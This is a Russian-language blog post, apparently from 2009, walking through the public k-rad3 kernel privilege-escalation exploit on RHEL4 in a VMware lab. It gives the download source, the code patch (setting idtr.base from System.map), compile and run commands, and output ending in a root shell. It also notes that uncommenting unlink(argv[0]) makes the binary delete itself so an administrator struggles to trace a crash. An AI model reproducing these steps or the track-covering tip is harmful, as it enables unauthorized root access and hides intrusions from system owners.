воскресенье, 4 января 2009 г.

k-rad3 - RHEL4(2.6.9-5.EL)

Для тестирования эксплоита k-rad3.c я установил на виртуальную машину VMWare RHEL4.

После командами

groupadd oinstall 
groupadd dba #создал 2 группы

useradd -g oinstall -G dba oracle #добавил пользователя

passwd oracle #назначил ему пароль.

Далее сохраняем станицу http://www.milw0rm.com/exploits/1397 в файл k-rad3.c в домашнем каталоге /home/oracle.

Если внимательно прочесть комментарии, то можно увидеть, что:

if OS in vmware , idtr.base is not right, please fix it
  * [alert7@MagicLinux ~]$ cat /boot/System.map|grep idt_table
  * c0461000 D idt_table

В моем случае, с зашел в каталог /boot, затем

[oracle@RHEL4 boot]$ ls System*
System.map-2.6.9-5.EL


cat /boot/System.map-2.6.9-5.EL|grep idt_table

c03cc000 D idt_table

Теперь перед строкой
 
 printf("[+] idtr.base %p ,base %p\n",(void *)idtr.base , (void *)kernelbase);

нужно раскомментировать и прописать строку idtr.base = 0xc03cc000;

После этого сохраняем изменения в файле k-rad3.c и компилируем его с опциями:

gcc -o k-rad3 k-rad3.c -static -O2

k-rad3.c:730:28: warning: no newline at end of file

и в домашнем каталоге появляется исполняемый файл k-rad3.

-rwxr-xr-x 1 oracle oinstall 464146 Jan 4 18:38 k-rad3

Если запустить без указания параметров, то

[oracle@RHEL4 ~]$ ./k-rad3
[ k-rad3 - <=linux 2.6.11 CPL 0 kernel exploit ]
[ Discovered Jan 2005 by sd ]
[ Modified 2005/9 by alert7 ]
[+] try open /proc/cpuinfo .. ok!!
[+] find cpu flag pse in /proc/cpuinfo
[+] CONFIG_X86_PAE :none
[+] Cpu flag: pse ok
[+] Exploit Way : 0
[+] Use 1 pages (one page is 4K ),rewrite 0xc0000000--(0xc0001000 + n)
[+] thread_size 0 (0 :THREAD_SIZE is 4096;otherwise THREAD_SIZE is 8192
[+] idtr.base 0xc03cc000 ,base 0xc0000000
[+] kwrite base 0xc0000000, buf 0xbff2dda0,num 4100
[+] idt[0x7f] addr 0xffc003f8
[-] y3r 422 12 n07 3r337 3nuPh!
[*] Try increase nrpages?

и рута мы не получим. Еще раз обращаемся к комментариям:

и запускаем с параметром ./k-rad3 -p 2

[oracle@RHEL4 ~]$ ./k-rad3 -p 2
[ k-rad3 - <=linux 2.6.11 CPL 0 kernel exploit ]
[ Discovered Jan 2005 by sd ]
[ Modified 2005/9 by alert7 ]
[+] try open /proc/cpuinfo .. ok!!
[+] find cpu flag pse in /proc/cpuinfo
[+] CONFIG_X86_PAE :none
[+] Cpu flag: pse ok
[+] Exploit Way : 0
[+] Use 2 pages (one page is 4K ),rewrite 0xc0000000--(0xc0002000 + n)
[+] thread_size 0 (0 :THREAD_SIZE is 4096;otherwise THREAD_SIZE is 8192
[+] idtr.base 0xc03cc000 ,base 0xc0000000
[+] kwrite base 0xc0000000, buf 0xbff9ea80,num 8196
[+] idt[0x7f] addr 0xffc003f8
[+] j00 1u(k7 k1d!

[root@k-rad3 oracle]# id

uid=0(root) gid=0(root) groups=500(oinstall),501(dba)

После того как получили рута, проверяем права на файл и видим, что

-rwsr-sr-x 1 root oinstall 464146 Jan 4 18:38 k-rad3

Необходимые условия для того чтобы сплойт сработал:

- ядро уязвимой версии; 
- карма на +10 (спойт часто весит систему, вызывает kernel panic или просто не работает).

примечание:

/* unlink(argv[0]); */
// sync();

в тексте сплойта эти строки написаны не спроста. Если их раскомментировать то после запуска исполняемый файл удалится. В том случае если система повиснет, администратору машины будет сложнее определить источник сбоя.

Описание работы сполйта (очень примерное):

- проверяет на то, запустились ли мы благодаря suid'ному биту из под рута; 
- если да, то изменяет UID и GID владельца процесса на 0 и запускает shell; 
- используя возможность перезаписывать память ядра, перезаписывает указатель на обработчик прерывания 0x7f; 
- вызывает прерывание 0x7f при этом в нулевом кольце вызывается функция, которая ставит процессу сплойта uid,euid,gid,egid в 0 и очищает указатель на обработчик прерывания 0x7f (чтоб никто больше им не воспользовался) ставит программе-сплойту на диске суидный бит и владельца рута; 
Запускает шелл, он запускается с uid=0 и gid=0.

Часть информации было взято с сайта - http://www.hackerdom.ru/Seminar/20072008/LinuxKernelExploits.

Комментариев нет: